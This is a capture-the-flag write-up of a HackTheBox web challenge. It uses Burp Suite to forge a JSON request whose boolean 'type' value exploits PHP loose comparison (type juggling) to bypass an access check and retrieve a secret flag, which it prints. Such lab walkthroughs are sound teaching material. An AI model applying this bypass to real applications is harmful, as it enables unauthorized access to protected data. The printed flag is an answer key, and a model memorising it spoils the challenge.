Challenge: Juggling Facts

Challenge Description :

An organization seems to possess knowledge of the true nature of pumpkins. Can you find out what they honestly know and uncover this centuries-long secret once and for all?

Context :

- This is a simple web challenge where you will need to intercept the http requests. We are also given the Source code for this one.

Notes :

- Tools:
    - Burpsuite - Using burpsuite to analyze, intercept and forge http requests.
    - Vscode- Used to see the Source code of the web-application, use can also use alternative text based applications like notepad if you want.

Flag :

- Start the instance, and start up burpsuite, i first check the source code to check for vulnerabilities or anything interesting in the code.
- Going to the IP:PORT of the instance shows a halloween themed page about halloween facts, burpsuite also caught a POST request when we go to click on the other facts.


```
POST /api/getfacts HTTP/1.1
Host: 94.237.49.120:35940
Content-Length: 17
Accept-Language: en-GB
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
 Gecko) Chrome/126.0.6478.127 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://94.237.49.120:35940
Referer: http://94.237.49.120:35940/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

{
  "type":"spooky"
}
```

- Going back to the source code to search for the POST request Query " Spooky ", takes me to a " IndexController.php " page in the Source Code.

```php
if ($jsondata['type'] === 'secrets' && $_SERVER['REMOTE_ADDR'] !== '12
{
    return $router->jsonify(['message' => 'Currently this type can be
}

switch ($jsondata['type'])
{
    case 'secrets':
        return $router->jsonify([
            'facts' => $this->facts->get_facts('secrets')
        ]);

    case 'spooky':
        return $router->jsonify([
            'facts' => $this->facts->get_facts('spooky')
        ]);

    case 'not_spooky':
        return $router->jsonify([
            'facts' => $this->facts->get_facts('not_spooky')
        ]);

    default:
        return $router->jsonify([
            'message' => 'Invalid type!'
        ]);
}
```

- When looking at the result nothing really catches your eyes until you read the logic. The issue lies in the switch function as it uses non-defined types to compare for when it checks, whereas the secret type check employs a strict "===" comparison.
- We can exploit, using Type Juggling, by passing a value that is equal to the logic of both values : "type != secret and "type == secret" , the values that should conquer this would be a "True" statement as its self-explanatory.
- Sending the forged http request with the " type " json query being set to " True " to replace "spooky".

```
POST /api/getfacts HTTP/1.1
Host: 94.237.49.120:35940
Content-Length: 13
Accept-Language: en-GB
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/126.0.6478.127 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://94.237.49.120:35940
Referer: http://94.237.49.120:35940/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

{
  "type":true
}
```

```
HTTP/1.1 200 OK
Server: nginx
Date: Thu, 04 Jul 2024 16:53:26 GMT
Content-Type: application/json; charset=utf-8
Connection: keep-alive
Content-Length: 83


{
  "facts":[
    {
      "id":19,
      "fact":"HTB{juggl1ng_1s_d4ng3r0u5!!!}",
      "fact_type":"secrets"
    }
  ]
}
```

- Sending the forged request returns us with a flag :

HTB{juggl1ng_1s_d4ng3r0u5!!!}